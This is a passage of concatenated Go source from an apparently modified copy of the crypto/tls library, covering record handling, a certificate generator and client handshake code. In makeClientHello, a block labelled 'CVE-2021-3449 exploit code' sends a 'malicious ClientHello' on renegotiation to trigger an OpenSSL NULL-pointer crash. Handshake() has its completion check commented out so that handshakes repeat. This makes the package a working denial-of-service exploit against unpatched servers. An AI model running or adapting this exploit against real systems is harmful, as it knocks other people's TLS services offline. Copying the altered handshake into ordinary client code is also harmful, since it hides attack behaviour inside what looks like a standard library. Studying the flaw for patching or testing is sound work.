c.rawInput.Bytes()[:recordHeaderLen] typ := recordType(hdr[0]) // No valid TLS record has a type of 0x80, however SSLv2 handshakes // start with a uint16 length where the MSB is set and the first record // is always < 256 bytes long. Therefore typ == 0x80 strongly suggests // an SSLv2 client. if !handshakeComplete && typ == 0x80 { c.sendAlert(alertProtocolVersion) return c.in.setErrorLocked(c.newRecordHeaderError(nil, "unsupported SSLv2 handshake received")) } vers := uint16(hdr[1])<<8 | uint16(hdr[2]) n := int(hdr[3])<<8 | int(hdr[4]) if c.haveVers && vers != c.vers { c.sendAlert(alertProtocolVersion) msg := fmt.Sprintf("received record with version %x when expecting version %x", vers, c.vers) return c.in.setErrorLocked(c.newRecordHeaderError(nil, msg)) } if !c.haveVers { // First message, be extra suspicious: this might not be a TLS // client. Bail out before reading a full 'body', if possible. // The current max version is 3.3 so if the version is >= 16.0, // it's probably not real. if (typ != recordTypeAlert && typ != recordTypeHandshake) || vers >= 0x1000 { return c.in.setErrorLocked(c.newRecordHeaderError(c.conn, "first record does not look like a TLS handshake")) } } if err := c.readFromUntil(c.conn, recordHeaderLen+n); err != nil { if e, ok := err.(net.Error); !ok || !e.Temporary() { c.in.setErrorLocked(err) } return err } // Process message. record := c.rawInput.Next(recordHeaderLen + n) data, typ, err := c.in.decrypt(record) if err != nil { return c.in.setErrorLocked(c.sendAlert(err.(alert))) } if len(data) > maxPlaintext { return c.in.setErrorLocked(c.sendAlert(alertRecordOverflow)) } // Application Data messages are always protected. if c.in.cipher == nil && typ == recordTypeApplicationData { return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) } if typ != recordTypeAlert && typ != recordTypeChangeCipherSpec && len(data) > 0 { // This is a state-advancing message: reset the retry count. c.retryCount = 0 } switch typ { default: return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) case recordTypeAlert: if len(data) != 2 { return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) } if alert(data[1]) == alertCloseNotify { return c.in.setErrorLocked(io.EOF) } switch data[0] { case alertLevelWarning: // Drop the record on the floor and retry. return c.retryReadRecord(expectChangeCipherSpec) case alertLevelError: return c.in.setErrorLocked(&net.OpError{Op: "remote error", Err: alert(data[1])}) default: return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) } case recordTypeChangeCipherSpec: if len(data) != 1 || data[0] != 1 { return c.in.setErrorLocked(c.sendAlert(alertDecodeError)) } // Handshake messages are not allowed to fragment across the CCS. if c.hand.Len() > 0 { return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) } if !expectChangeCipherSpec { return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) } if err := c.in.changeCipherSpec(); err != nil { return c.in.setErrorLocked(c.sendAlert(err.(alert))) } case recordTypeApplicationData: if !handshakeComplete || expectChangeCipherSpec { return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) } // Some OpenSSL servers send empty records in order to randomize the // CBC IV. Ignore a limited number of empty records. if len(data) == 0 { return c.retryReadRecord(expectChangeCipherSpec) } // Note that data is owned by c.rawInput, following the Next call above, // to avoid copying the plaintext. This is safe because c.rawInput is // not read from or written to until c.input is drained. c.input.Reset(data) case recordTypeHandshake: if len(data) == 0 || expectChangeCipherSpec { return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) } c.hand.Write(data) } return nil } // retryReadRecord recurses into readRecordOrCCS to drop a non-advancing record, like // a warning alert, empty application_data, or a change_cipher_spec in TLS 1.3. func (c *Conn) retryReadRecord(expectChangeCipherSpec bool) error { c.retryCount++ if c.retryCount > maxUselessRecords { c.sendAlert(alertUnexpectedMessage) return c.in.setErrorLocked(errors.New("tls: too many ignored records")) } return c.readRecordOrCCS(expectChangeCipherSpec) } // atLeastReader reads from R, stopping with EOF once at least N bytes have been // read. It is different from an io.LimitedReader in that it doesn't cut short // the last Read call, and in that it considers an early EOF an error. type atLeastReader struct { R io.Reader N int64 } func (r *atLeastReader) Read(p []byte) (int, error) { if r.N <= 0 { return 0, io.EOF } n, err := r.R.Read(p) r.N -= int64(n) // won't underflow unless len(p) >= n > 9223372036854775809 if r.N > 0 && err == io.EOF { return n, io.ErrUnexpectedEOF } if r.N <= 0 && err == nil { return n, io.EOF } return n, err } // readFromUntil reads from r into c.rawInput until c.rawInput contains // at least n bytes or else returns an error. func (c *Conn) readFromUntil(r io.Reader, n int) error { if c.rawInput.Len() >= n { return nil } needs := n - c.rawInput.Len() // There might be extra input waiting on the wire. Make a best effort // attempt to fetch it so that it can be used in (*Conn).Read to // "predict" closeNotify alerts. c.rawInput.Grow(needs + bytes.MinRead) _, err := c.rawInput.ReadFrom(&atLeastReader{r, int64(needs)}) return err } // sendAlert sends a TLS alert message. func (c *Conn) sendAlertLocked(err alert) error { switch err { case alertNoRenegotiation, alertCloseNotify: c.tmp[0] = alertLevelWarning default: c.tmp[0] = alertLevelError } c.tmp[1] = byte(err) _, writeErr := c.writeRecordLocked(recordTypeAlert, c.tmp[0:2]) if err == alertCloseNotify { // closeNotify is a special case in that it isn't an error. return writeErr } return c.out.setErrorLocked(&net.OpError{Op: "local error", Err: err}) } // sendAlert sends a TLS alert message. func (c *Conn) sendAlert(err alert) error { c.out.Lock() defer c.out.Unlock() return c.sendAlertLocked(err) } const ( // tcpMSSEstimate is a conservative estimate of the TCP maximum segment // size (MSS). A constant is used, rather than querying the kernel for // the actual MSS, to avoid complexity. The value here is the IPv6 // minimum MTU (1280 bytes) minus the overhead of an IPv6 header (40 // bytes) and a TCP header with timestamps (32 bytes). tcpMSSEstimate = 1208 // recordSizeBoostThreshold is the number of bytes of application data // sent after which the TLS record size will be increased to the // maximum. recordSizeBoostThreshold = 128 * 1024 ) // maxPayloadSizeForWrite returns the maximum TLS payload size to use for the // next application data record. There is the following trade-off: // // - For latency-sensitive applications, such as web browsing, each TLS // record should fit in one TCP segment. // - For throughput-sensitive applications, such as large file transfers, // larger TLS records better amortize framing and encryption overheads. // // A simple heuristic that works well in practice is to use small records for // the first 1MB of data, then use larger records for subsequent data, and // reset back to smaller records after the connection becomes idle. See "High // Performance Web Networking", Chapter 4, or: // https://www.igvita.com/2013/10/24/optimizing-tls-record-size-and-buffering-latency/ // // In the interests of simplicity and determinism, this code does not attempt // to reset the record size once the connection is idle, however. func (c *Conn) maxPayloadSizeForWrite(typ recordType) int { if c.config.DynamicRecordSizingDisabled || typ != recordTypeApplicationData { return maxPlaintext } if c.bytesSent >= recordSizeBoostThreshold { return maxPlaintext } // Subtract TLS overheads to get the maximum payload size. payloadBytes := tcpMSSEstimate - recordHeaderLen - c.out.explicitNonceLen() if c.out.cipher != nil { switch ciph := c.out.cipher.(type) { case cipher.Stream: payloadBytes -= c.out.mac.Size() case cipher.AEAD: payloadBytes -= ciph.Overhead() case cbcMode: blockSize := ciph.BlockSize() // The payload must fit in a multiple of blockSize, with // room for at least one padding byte. payloadBytes = (payloadBytes & ^(blockSize - 1)) - 1 // The MAC is appended before padding so affects the // payload size directly. payloadBytes -= c.out.mac.Size() default: panic("unknown cipher type") } } // Allow packet growth in arithmetic progression up to max. pkt := c.packetsSent c.packetsSent++ if pkt > 1000 { return maxPlaintext // avoid overflow in multiply below } n := payloadBytes * int(pkt+1) if n > maxPlaintext { n = maxPlaintext } return n } func (c *Conn) write(data []byte) (int, error) { if c.buffering { c.sendBuf = append(c.sendBuf, data...) return len(data), nil } n, err := c.conn.Write(data) c.bytesSent += int64(n) return n, err } func (c *Conn) flush() (int, error) { if len(c.sendBuf) == 0 { return 0, nil } n, err := c.conn.Write(c.sendBuf) c.bytesSent += int64(n) c.sendBuf = nil c.buffering = false return n, err } // writeRecordLocked writes a TLS record with the given type and payload to the // connection and updates the record layer state. func (c *Conn) writeRecordLocked(typ recordType, data []byte) (int, error) { var n int for len(data) > 0 { m := len(data) if maxPayload := c.maxPayloadSizeForWrite(typ); m > maxPayload { m = maxPayload } _, c.outBuf = sliceForAppend(c.outBuf[:0], recordHeaderLen) c.outBuf[0] = byte(typ) vers := c.vers if vers == 0 { // Some TLS servers fail if the record version is // greater than TLS 1.0 for the initial ClientHello. vers = VersionTLS10 } c.outBuf[1] = byte(vers >> 8) c.outBuf[2] = byte(vers) c.outBuf[3] = byte(m >> 8) c.outBuf[4] = byte(m) var err error c.outBuf, err = c.out.encrypt(c.outBuf, data[:m], c.config.rand()) if err != nil { return n, err } if _, err := c.write(c.outBuf); err != nil { return n, err } n += m data = data[m:] } if typ == recordTypeChangeCipherSpec { if err := c.out.changeCipherSpec(); err != nil { return n, c.sendAlertLocked(err.(alert)) } } return n, nil } // writeRecord writes a TLS record with the given type and payload to the // connection and updates the record layer state. func (c *Conn) writeRecord(typ recordType, data []byte) (int, error) { c.out.Lock() defer c.out.Unlock() return c.writeRecordLocked(typ, data) } // readHandshake reads the next handshake message from // the record layer. func (c *Conn) readHandshake() (interface{}, error) { for c.hand.Len() < 4 { if err := c.readRecord(); err != nil { return nil, err } } data := c.hand.Bytes() n := int(data[1])<<16 | int(data[2])<<8 | int(data[3]) if n > maxHandshake { c.sendAlertLocked(alertInternalError) return nil, c.in.setErrorLocked(fmt.Errorf("tls: handshake message of length %d bytes exceeds maximum of %d bytes", n, maxHandshake)) } for c.hand.Len() < 4+n { if err := c.readRecord(); err != nil { return nil, err } } data = c.hand.Next(4 + n) var m handshakeMessage switch data[0] { case typeHelloRequest: m = new(helloRequestMsg) case typeClientHello: m = new(clientHelloMsg) case typeServerHello: m = new(serverHelloMsg) case typeNewSessionTicket: m = new(newSessionTicketMsg) case typeCertificate: m = new(certificateMsg) case typeCertificateRequest: m = &certificateRequestMsg{ hasSignatureAlgorithm: c.vers >= VersionTLS12, } case typeCertificateStatus: m = new(certificateStatusMsg) case typeServerKeyExchange: m = new(serverKeyExchangeMsg) case typeServerHelloDone: m = new(serverHelloDoneMsg) case typeClientKeyExchange: m = new(clientKeyExchangeMsg) case typeCertificateVerify: m = &certificateVerifyMsg{ hasSignatureAlgorithm: c.vers >= VersionTLS12, } case typeFinished: m = new(finishedMsg) case typeEncryptedExtensions: m = new(encryptedExtensionsMsg) case typeEndOfEarlyData: m = new(endOfEarlyDataMsg) case typeKeyUpdate: m = new(keyUpdateMsg) default: return nil, c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) } // The handshake message unmarshalers // expect to be able to keep references to data, // so pass in a fresh copy that won't be overwritten. data = append([]byte(nil), data...) if !m.unmarshal(data) { return nil, c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage)) } return m, nil } var ( errClosed = errors.New("tls: use of closed connection") errShutdown = errors.New("tls: protocol is shutdown") ) // Write writes data to the connection. func (c *Conn) Write(b []byte) (int, error) { // interlock with Close below for { x := atomic.LoadInt32(&c.activeCall) if x&1 != 0 { return 0, errClosed } if atomic.CompareAndSwapInt32(&c.activeCall, x, x+2) { break } } defer atomic.AddInt32(&c.activeCall, -2) if err := c.Handshake(); err != nil { return 0, err } c.out.Lock() defer c.out.Unlock() if err := c.out.err; err != nil { return 0, err } if !c.handshakeComplete() { return 0, alertInternalError } if c.closeNotifySent { return 0, errShutdown } // TLS 1.0 is susceptible to a chosen-plaintext // attack when using block mode ciphers due to predictable IVs. // This can be prevented by splitting each Application Data // record into two records, effectively randomizing the IV. // // https://www.openssl.org/~bodo/tls-cbc.txt // https://bugzilla.mozilla.org/show_bug.cgi?id=665814 // https://www.imperialviolet.org/2012/01/15/beastfollowup.html var m int if len(b) > 1 && c.vers == VersionTLS10 { if _, ok := c.out.cipher.(cipher.BlockMode); ok { n, err := c.writeRecordLocked(recordTypeApplicationData, b[:1]) if err != nil { return n, c.out.setErrorLocked(err) } m, b = 1, b[1:] } } n, err := c.writeRecordLocked(recordTypeApplicationData, b) return n + m, c.out.setErrorLocked(err) } // handleRenegotiation processes a HelloRequest handshake message. func (c *Conn) handleRenegotiation() error { msg, err := c.readHandshake() if err != nil { return err } helloReq, ok := msg.(*helloRequestMsg) if !ok { c.sendAlert(alertUnexpectedMessage) return unexpectedMessageError(helloReq, msg) } switch c.config.Renegotiation { case RenegotiateNever: return c.sendAlert(alertNoRenegotiation) case RenegotiateOnceAsClient: if c.handshakes > 1 { return c.sendAlert(alertNoRenegotiation) } case RenegotiateFreelyAsClient: // Ok. default: c.sendAlert(alertInternalError) return errors.New("tls: unknown Renegotiation value") } c.handshakeMutex.Lock() defer c.handshakeMutex.Unlock() atomic.StoreUint32(&c.handshakeStatus, 0) if c.handshakeErr = c.clientHandshake(); c.handshakeErr == nil { c.handshakes++ } return c.handshakeErr } // handlePostHandshakeMessage processes a handshake message arrived after the // handshake is complete. Up to TLS 1.2, it indicates the start of a renegotiation. func (c *Conn) handlePostHandshakeMessage() error { return c.handleRenegotiation() } // Read can be made to time out and return a net.Error with Timeout() == true // after a fixed time limit; see SetDeadline and SetReadDeadline. func (c *Conn) Read(b []byte) (int, error) { if err := c.Handshake(); err != nil { return 0, err } if len(b) == 0 { // Put this after Handshake, in case people were calling // Read(nil) for the side effect of the Handshake. return 0, nil } c.in.Lock() defer c.in.Unlock() for c.input.Len() == 0 { if err := c.readRecord(); err != nil { return 0, err } for c.hand.Len() > 0 { if err := c.handlePostHandshakeMessage(); err != nil { return 0, err } } } n, _ := c.input.Read(b) // If a close-notify alert is waiting, read it so that we can return (n, // EOF) instead of (n, nil), to signal to the HTTP response reading // goroutine that the connection is now closed. This eliminates a race // where the HTTP response reading goroutine would otherwise not observe // the EOF until its next read, by which time a client goroutine might // have already tried to reuse the HTTP connection for a new request. // See https://golang.org/cl/76400046 and https://golang.org/issue/3514 if n != 0 && c.input.Len() == 0 && c.rawInput.Len() > 0 && recordType(c.rawInput.Bytes()[0]) == recordTypeAlert { if err := c.readRecord(); err != nil { return n, err // will be io.EOF on closeNotify } } return n, nil } // Close closes the connection. func (c *Conn) Close() error { // Interlock with Conn.Write above. var x int32 for { x = atomic.LoadInt32(&c.activeCall) if x&1 != 0 { return errClosed } if atomic.CompareAndSwapInt32(&c.activeCall, x, x|1) { break } } if x != 0 { // io.Writer and io.Closer should not be used concurrently. // If Close is called while a Write is currently in-flight, // interpret that as a sign that this Close is really just // being used to break the Write and/or clean up resources and // avoid sending the alertCloseNotify, which may block // waiting on handshakeMutex or the c.out mutex. return c.conn.Close() } var alertErr error if c.handshakeComplete() { alertErr = c.closeNotify() } if err := c.conn.Close(); err != nil { return err } return alertErr } var errEarlyCloseWrite = errors.New("tls: CloseWrite called before handshake complete") // CloseWrite shuts down the writing side of the connection. It should only be // called once the handshake has completed and does not call CloseWrite on the // underlying connection. Most callers should just use Close. func (c *Conn) CloseWrite() error { if !c.handshakeComplete() { return errEarlyCloseWrite } return c.closeNotify() } func (c *Conn) closeNotify() error { c.out.Lock() defer c.out.Unlock() if !c.closeNotifySent { c.closeNotifyErr = c.sendAlertLocked(alertCloseNotify) c.closeNotifySent = true } return c.closeNotifyErr } // Handshake runs the client or server handshake // protocol if it has not yet been run. // Most uses of this package need not call Handshake // explicitly: the first Read or Write will call it automatically. func (c *Conn) Handshake() error { c.handshakeMutex.Lock() defer c.handshakeMutex.Unlock() if err := c.handshakeErr; err != nil { return err } //if c.handshakeComplete() { // return nil //} c.in.Lock() defer c.in.Unlock() c.handshakeErr = c.clientHandshake() if c.handshakeErr == nil { c.handshakes++ } else { // If an error occurred during the handshake try to flush the // alert that might be left in the buffer. c.flush() } if c.handshakeErr == nil && !c.handshakeComplete() { c.handshakeErr = errors.New("tls: internal error: handshake should have had a result") } return c.handshakeErr } // ConnectionState returns basic TLS details about the connection. func (c *Conn) ConnectionState() ConnectionState { c.handshakeMutex.Lock() defer c.handshakeMutex.Unlock() var state ConnectionState state.HandshakeComplete = c.handshakeComplete() state.ServerName = c.serverName if state.HandshakeComplete { state.Version = c.vers state.NegotiatedProtocol = c.clientProtocol state.DidResume = c.didResume state.NegotiatedProtocolIsMutual = !c.clientProtocolFallback state.CipherSuite = c.cipherSuite state.PeerCertificates = c.peerCertificates state.VerifiedChains = c.verifiedChains state.SignedCertificateTimestamps = c.scts state.OCSPResponse = c.ocspResponse if !c.didResume { if c.clientFinishedIsFirst { state.TLSUnique = c.clientFinished[:] } else { state.TLSUnique = c.serverFinished[:] } } if c.config.Renegotiation != RenegotiateNever { state.ekm = noExportedKeyingMaterial } else { state.ekm = c.ekm } } return state } // OCSPResponse returns the stapled OCSP response from the TLS server, if // any. (Only valid for client connections.) func (c *Conn) OCSPResponse() []byte { c.handshakeMutex.Lock() defer c.handshakeMutex.Unlock() return c.ocspResponse } // VerifyHostname checks that the peer certificate chain is valid for // connecting to host. If so, it returns nil; if not, it returns an error // describing the problem. func (c *Conn) VerifyHostname(host string) error { c.handshakeMutex.Lock() defer c.handshakeMutex.Unlock() if !c.handshakeComplete() { return errors.New("tls: handshake has not yet been performed") } if len(c.verifiedChains) == 0 { return errors.New("tls: handshake did not verify certificate chain") } return c.peerCertificates[0].VerifyHostname(host) } func (c *Conn) handshakeComplete() bool { return atomic.LoadUint32(&c.handshakeStatus) == 1 } ================================================ FILE: tls/generate_cert.go ================================================ // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build ignore // Generate a self-signed X.509 certificate for a TLS server. Outputs to // 'cert.pem' and 'key.pem' and will overwrite existing files. package main import ( "crypto/ecdsa" "crypto/ed25519" "crypto/elliptic" "crypto/rand" "crypto/rsa" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "flag" "log" "math/big" "net" "os" "strings" "time" ) var ( host = flag.String("host", "", "Comma-separated hostnames and IPs to generate a certificate for") validFrom = flag.String("start-date", "", "Creation date formatted as Jan 1 15:04:05 2011") validFor = flag.Duration("duration", 365*24*time.Hour, "Duration that certificate is valid for") isCA = flag.Bool("ca", false, "whether this cert should be its own Certificate Authority") rsaBits = flag.Int("rsa-bits", 2048, "Size of RSA key to generate. Ignored if --ecdsa-curve is set") ecdsaCurve = flag.String("ecdsa-curve", "", "ECDSA curve to use to generate a key. Valid values are P224, P256 (recommended), P384, P521") ed25519Key = flag.Bool("ed25519", false, "Generate an Ed25519 key") ) func publicKey(priv interface{}) interface{} { switch k := priv.(type) { case *rsa.PrivateKey: return &k.PublicKey case *ecdsa.PrivateKey: return &k.PublicKey case ed25519.PrivateKey: return k.Public().(ed25519.PublicKey) default: return nil } } func main() { flag.Parse() if len(*host) == 0 { log.Fatalf("Missing required --host parameter") } var priv interface{} var err error switch *ecdsaCurve { case "": if *ed25519Key { _, priv, err = ed25519.GenerateKey(rand.Reader) } else { priv, err = rsa.GenerateKey(rand.Reader, *rsaBits) } case "P224": priv, err = ecdsa.GenerateKey(elliptic.P224(), rand.Reader) case "P256": priv, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader) case "P384": priv, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader) case "P521": priv, err = ecdsa.GenerateKey(elliptic.P521(), rand.Reader) default: log.Fatalf("Unrecognized elliptic curve: %q", *ecdsaCurve) } if err != nil { log.Fatalf("Failed to generate private key: %v", err) } var notBefore time.Time if len(*validFrom) == 0 { notBefore = time.Now() } else { notBefore, err = time.Parse("Jan 2 15:04:05 2006", *validFrom) if err != nil { log.Fatalf("Failed to parse creation date: %v", err) } } notAfter := notBefore.Add(*validFor) serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) serialNumber, err := rand.Int(rand.Reader, serialNumberLimit) if err != nil { log.Fatalf("Failed to generate serial number: %v", err) } template := x509.Certificate{ SerialNumber: serialNumber, Subject: pkix.Name{ Organization: []string{"Acme Co"}, }, NotBefore: notBefore, NotAfter: notAfter, KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, BasicConstraintsValid: true, } hosts := strings.Split(*host, ",") for _, h := range hosts { if ip := net.ParseIP(h); ip != nil { template.IPAddresses = append(template.IPAddresses, ip) } else { template.DNSNames = append(template.DNSNames, h) } } if *isCA { template.IsCA = true template.KeyUsage |= x509.KeyUsageCertSign } derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, publicKey(priv), priv) if err != nil { log.Fatalf("Failed to create certificate: %v", err) } certOut, err := os.Create("cert.pem") if err != nil { log.Fatalf("Failed to open cert.pem for writing: %v", err) } if err := pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}); err != nil { log.Fatalf("Failed to write data to cert.pem: %v", err) } if err := certOut.Close(); err != nil { log.Fatalf("Error closing cert.pem: %v", err) } log.Print("wrote cert.pem\n") keyOut, err := os.OpenFile("key.pem", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) if err != nil { log.Fatalf("Failed to open key.pem for writing: %v", err) return } privBytes, err := x509.MarshalPKCS8PrivateKey(priv) if err != nil { log.Fatalf("Unable to marshal private key: %v", err) } if err := pem.Encode(keyOut, &pem.Block{Type: "PRIVATE KEY", Bytes: privBytes}); err != nil { log.Fatalf("Failed to write data to key.pem: %v", err) } if err := keyOut.Close(); err != nil { log.Fatalf("Error closing key.pem: %v", err) } log.Print("wrote key.pem\n") } ================================================ FILE: tls/handshake_client.go ================================================ // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import ( "bytes" "crypto" "crypto/ecdsa" "crypto/ed25519" "crypto/rsa" "crypto/subtle" "crypto/x509" "errors" "fmt" "io" "net" "strings" "sync/atomic" ) type clientHandshakeState struct { c *Conn serverHello *serverHelloMsg hello *clientHelloMsg suite *cipherSuite finishedHash finishedHash masterSecret []byte session *ClientSessionState } func (c *Conn) makeClientHello() (*clientHelloMsg, error) { config := c.config if len(config.ServerName) == 0 && !config.InsecureSkipVerify { return nil, errors.New("tls: either ServerName or InsecureSkipVerify must be specified in the tls.Config") } nextProtosLength := 0 for _, proto := range config.NextProtos { if l := len(proto); l == 0 || l > 255 { return nil, errors.New("tls: invalid NextProtos value") } else { nextProtosLength += 1 + l } } if nextProtosLength > 0xffff { return nil, errors.New("tls: NextProtos values too large") } supportedVersions := config.supportedVersions() if len(supportedVersions) == 0 { return nil, errors.New("tls: no supported versions satisfy MinVersion and MaxVersion") } clientHelloVersion := supportedVersions[0] // The version at the beginning of the ClientHello was capped at TLS 1.2 // for compatibility reasons. The supported_versions extension is used // to negotiate versions now. See RFC 8446, Section 4.2.1. if clientHelloVersion > VersionTLS12 { clientHelloVersion = VersionTLS12 } hello := &clientHelloMsg{ vers: clientHelloVersion, compressionMethods: []uint8{compressionNone}, random: make([]byte, 32), sessionId: make([]byte, 32), ocspStapling: true, scts: true, serverName: hostnameInSNI(config.ServerName), supportedCurves: config.curvePreferences(), supportedPoints: []uint8{pointFormatUncompressed}, secureRenegotiationSupported: true, alpnProtocols: config.NextProtos, supportedVersions: supportedVersions, } if c.handshakes > 0 { hello.secureRenegotiation = c.clientFinished[:] } possibleCipherSuites := config.cipherSuites() hello.cipherSuites = make([]uint16, 0, len(possibleCipherSuites)) for _, suiteId := range possibleCipherSuites { for _, suite := range cipherSuites { if suite.id != suiteId { continue } // Don't advertise TLS 1.2-only cipher suites unless // we're attempting TLS 1.2. if hello.vers < VersionTLS12 && suite.flags&suiteTLS12 != 0 { break } hello.cipherSuites = append(hello.cipherSuites, suiteId) break } } _, err := io.ReadFull(config.rand(), hello.random) if err != nil { return nil, errors.New("tls: short read from Rand: " + err.Error()) } // A random session ID is used to detect when the server accepted a ticket // and is resuming a session (see RFC 5077). In TLS 1.3, it's always set as // a compatibility measure (see RFC 8446, Section 4.1.2). if _, err := io.ReadFull(config.rand(), hello.sessionId); err != nil { return nil, errors.New("tls: short read from Rand: " + err.Error()) } // CVE-2021-3449 exploit code. if hello.vers >= VersionTLS12 { if c.handshakes == 0 { println("sending initial ClientHello") hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms } else { // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference // if the supported_signature_algorithms extension is omitted, // but supported_signature_algorithms_cert is present. println("sending malicious ClientHello") hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms } } return hello, nil } func (c *Conn) clientHandshake() (err error) { if c.config == nil { c.config = defaultConfig() } // This may be a renegotiation handshake, in which case some fields // need to be reset. c.didResume = false hello, err := c.makeClientHello() if err != nil { return err } cacheKey, session := c.loadSession(hello) if cacheKey != "" && session != nil { defer func() { // If we got a handshake failure when resuming a session, throw away // the session ticket. See RFC 5077, Section 3.2. // // RFC 8446 makes no mention of dropping tickets on failure, but it // does require servers to abort on invalid binders, so we need to // delete tickets to recover from a corrupted PSK. if err != nil { c.config.ClientSessionCache.Put(cacheKey, nil) } }() } if _, err := c.writeRecord(recordTypeHandshake, hello.marshal()); err != nil { return err } msg, err := c.readHandshake() if err != nil { return err } serverHello, ok := msg.(*serverHelloMsg) if !ok { c.sendAlert(alertUnexpectedMessage) return unexpectedMessageError(serverHello, msg) } if err := c.pickTLSVersion(serverHello); err != nil { return err } hs := &clientHandshakeState{ c: c, serverHello: serverHello, hello: hello, session: session, } if err := hs.handshake(); err != nil { return err } // If we had a successful handshake and hs.session is different from // the one already cached - cache a new one. if cacheKey != "" && hs.session != nil && session != hs.session { c.config.ClientSessionCache.Put(cacheKey, hs.session) } return nil } func (c *Conn) loadSession(hello *clientHelloMsg) (cacheKey string, session *ClientSessionState) { if c.config.SessionTicketsDisabled || c.config.ClientSessionCache == nil { return "", nil } hello.ticketSupported = true // Session resumption is not allowed if renegotiating because // renegotiation is primarily used to allow a client to send a client // certificate, which would be skipped if session resumption occurred. if c.handshakes != 0 { return "", nil } // Try to resume a previously negotiated TLS session, if available. cacheKey = clientSessionCacheKey(c.conn.RemoteAddr(), c.config) session, ok := c.config.ClientSessionCache.Get(cacheKey) if !ok || session == nil { return cacheKey, nil } // Check that version used for the previous session is still valid. versOk := false for _, v := range hello.supportedVersions { if v == session.vers { versOk = true break } } if !versOk { return cacheKey, nil } // Check that the cached server certificate is not expired, and that it's // valid for the ServerName. This should be ensured by the cache key, but // protect the application from a faulty ClientSessionCache implementation. if !c.config.InsecureSkipVerify { if len(session.verifiedChains) == 0 { // The original connection had InsecureSkipVerify, while this doesn't. return cacheKey, nil } serverCert := session.serverCertificates[0] if c.config.time().After(serverCert.NotAfter) { // Expired certificate, delete the entry. c.config.ClientSessionCache.Put(cacheKey, nil) return cacheKey, nil } if err := serverCert.VerifyHostname(c.config.ServerName); err != nil { return cacheKey, nil } } // In TLS 1.2 the cipher suite must match the resumed session. Ensure we // are still offering it. if mutualCipherSuite(hello.cipherSuites, session.cipherSuite) == nil { return cacheKey, nil } hello.sessionTicket = session.sessionTicket return } func (c *Conn) pickTLSVersion(serverHello *serverHelloMsg) error { peerVersion := serverHello.vers if serverHello.supportedVersion != 0 { peerVersion = serverHello.supportedVersion } vers, ok := c.config.mutualVersion([]uint16{peerVersion}) if !ok { c.sendAlert(alertProtocolVersion) return fmt.Errorf("tls: server selected unsupported protocol version %x", peerVersion) } c.vers = vers c.haveVers = true c.in.version = vers c.out.version = vers return nil } // Does the handshake, either a full one or resumes old session. Requires hs.c, // hs.hello, hs.serverHello, and, optionally, hs.session to be set. func (hs *clientHandshakeState) handshake() error { c := hs.c isResume, err := hs.processServerHello() if err != nil { return err } hs.finishedHash = newFinishedHash(c.vers, hs.suite) // No signatures of the handshake are needed in a resumption. // Otherwise, in a full handshake, if we don't have any certificates // configured then we will never send a CertificateVerify message and // thus no signatures are needed in that case either. if isResume || (len(c.config.Certificates) == 0 && c.config.GetClientCertificate == nil) { hs.finishedHash.discardHandshakeBuffer() } hs.finishedHash.Write(hs.hello.marshal()) hs.finishedHash.Write(hs.serverHello.marshal()) c.buffering = true if isResume { if err := hs.establishKeys(); err != nil { return err } if err := hs.readSessionTicket(); err != nil { return err } if err := hs.readFinished(c.serverFinished[:]); err != nil { return err } c.clientFinishedIsFirst = false if err := hs.sendFinished(c.clientFinished[:]); err != nil { return err } if _, err := c.flush(); err != nil { return err } } else { if err := hs.doFullHandshake(); err != nil { return err } if err := hs.establishKeys(); err != nil { return err } if err := hs.sendFinished(c.clientFinished[:]); err != nil { return err } if _, err := c.flush(); err != nil { return err } c.clientFinishedIsFirst = true if err := hs.readSessionTicket(); err != nil { return err } if err := hs.readFinished(c.serverFinished[:]); err != nil { return err } } c.ekm = ekmFromMasterSecret(c.vers, hs.suite, hs.masterSecret, hs.hello.random, hs.serverHello.random) c.didResume = isResume atomic.StoreUint32(&c.handshakeStatus, 1) return nil } func (hs *clientHandshakeState) pickCipherSuite() error { if hs.suite = mutualCipherSuite(hs.hello.cipherSuites, hs.serverHello.cipherSuite); hs.suite == nil { hs.c.sendAlert(alertHandshakeFailure) return errors.New("tls: server chose an unconfigured cipher suite") } hs.c.cipherSuite = hs.suite.id return nil } func (hs *clientHandshakeState) doFullHandshake() error { c := hs.c msg, err := c.readHandshake() if err != nil { return err } certMsg, ok := msg.(*certificateMsg) if !ok || len(certMsg.certificates) == 0 { c.sendAlert(alertUnexpectedMessage) return unexpectedMessageError(certMsg, msg) } hs.finishedHash.Write(certMsg.marshal()) if c.handshakes == 0 { // If this is the first handshake on a connection, process and // (optionally) verify the server's certificates. if err := c.verifyServerCertificate(certMsg.certificates); err != nil { return err } } else { // This is a renegotiation handshake. We require that the // server's identity (i.e. leaf certificate) is unchanged and // thus any previous trust decision is still valid. // // See https://mitls.org/pages/attacks/3SHAKE for the // motivation behind this requirement. if !bytes.Equal(c.peerCertificates[0].Raw, certMsg.certificates[0]) { c.sendAlert(alertBadCertificate) return errors.New("tls: server's identity changed during renegotiation") } } msg, err = c.readHandshake() if err != nil { return err } cs, ok := msg.(*certificateStatusMsg) if ok { // RFC4366 on Certificate Status Request: // The server MAY return a "certificate_status" 